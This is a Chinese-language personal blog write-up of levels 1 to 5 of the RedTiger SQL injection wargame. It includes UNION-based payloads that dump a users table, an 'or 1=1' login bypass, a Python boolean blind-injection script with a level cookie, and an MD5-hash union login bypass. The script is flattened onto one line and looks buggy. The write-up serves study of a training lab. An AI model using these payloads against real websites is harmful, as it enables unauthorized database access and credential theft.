感觉会的东西太少了,以后要多练习,多写博客。要坚持学习,一定不能放弃,为梦想奋斗。
redtiger 这个平台早就开始做了,但是才做到第4关。。。。
第一关:
打开题,
先随便试,后来发现点击 Category 后的1 可以注入,
然后就是注入了,构造cat=1'' 还报错,估计是数字型注入,然后构造cat=1 order by 1猜列数,得出是4个。
cat=1 union select 1,2,3,4 发现回显3,4。
我用information_schema这个库,但是不行,仔细看页面发现已经给了表名,学网安也需要视力啊。
直接cat=1 union select 1,2,password,4 from level1_users
用户名也给出了,然后就登录进入第二关吧!
第二关:
看题想到万能密码,我试了很多次都登不上,看了别人的操作,感觉我输入的和他一样啊,咋就进不去了。。。。
直接粘贴复制的万能密码登录。
username=admin' or '1'='1 password='or 1=1#
第三关:
我在这关采坑时间最长,翻遍了所有人的writeup,就是不行。。。后来才知道问题所在。
提示是,报错注入。点击TheCow ,看到url明显经过加密,函数报错。。。也不知道怎么加密,就试了数组 usr[]=.......
进入这个文件,发现加密解密函数
然后构造 注入语句 加密就可以了。(不知道是php版本不同还是linux和windows不同导致的随机数不同,加密的结果也不同,我就踩了这个坑。)
这个网址有详细注入过程:https://www.jianshu.com/p/84d543cff8c0
第四关:
进入第四关,发现注入只会回显0或1,应该是布尔盲注。
猜一下keyword长度,id=1 and length(keyword)= 得出21.
构造url语句 id=1 and ascii(substr((keyword,1,1)))=
盲注脚本:
import string from re import * from urllib.request import * answer="" char=string.printable login ={'Cookie':'level4login=there_is_no_bug'} url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}" for q in range(1,22): for i in range(1,127): test=(url .format(q,i)) request=Request(test,None,headers=login) res=urlopen(request) s=res.read().decode() if(findall("Query returned 1 rows.",s)): print("{0} ".format(q)+i) answer+=i break print(answer)
跑出答案,进入第五关。
第五关:
看提示,过滤了几个函数,而且不是盲注,bapass 登录,密码是md5加密。
先随便输一个账号密码,返回 user not found。
然后构造一个:
返回,login failed。可见 username已经绕过。然后order by查询,发现不可以。直接union select 试吧。
得出字段是2。
构造:username=' union select 1,'c81e728d9d4c2f636f067f89cc14862c'#
password=2
过关。。。。
(后5关再写另一篇)